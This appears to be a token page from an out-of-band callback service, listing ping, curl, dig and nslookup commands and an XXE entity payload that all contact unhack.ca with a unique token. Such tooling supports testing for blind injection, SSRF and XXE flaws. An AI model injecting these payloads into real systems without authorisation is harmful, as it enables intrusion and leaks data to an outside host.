$ ping -c1 -p 003d5c35858b298ca3ceaeff4f070900 unhack.ca
 

$ curl http://unhack.ca/p/3d5c35858b298ca3ceaeff4f0709
 

$ dig 3d5c35858b298ca3ceaeff4f0709 @unhack.ca
 

$ dig 3d5c35858b298ca3ceaeff4f0709.ns.unhack.ca
 

C:\> nslookup 3d5c35858b298ca3ceaeff4f0709 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3d5c35858b298ca3ceaeff4f0709">]>
    <foo>&xxe;</foo>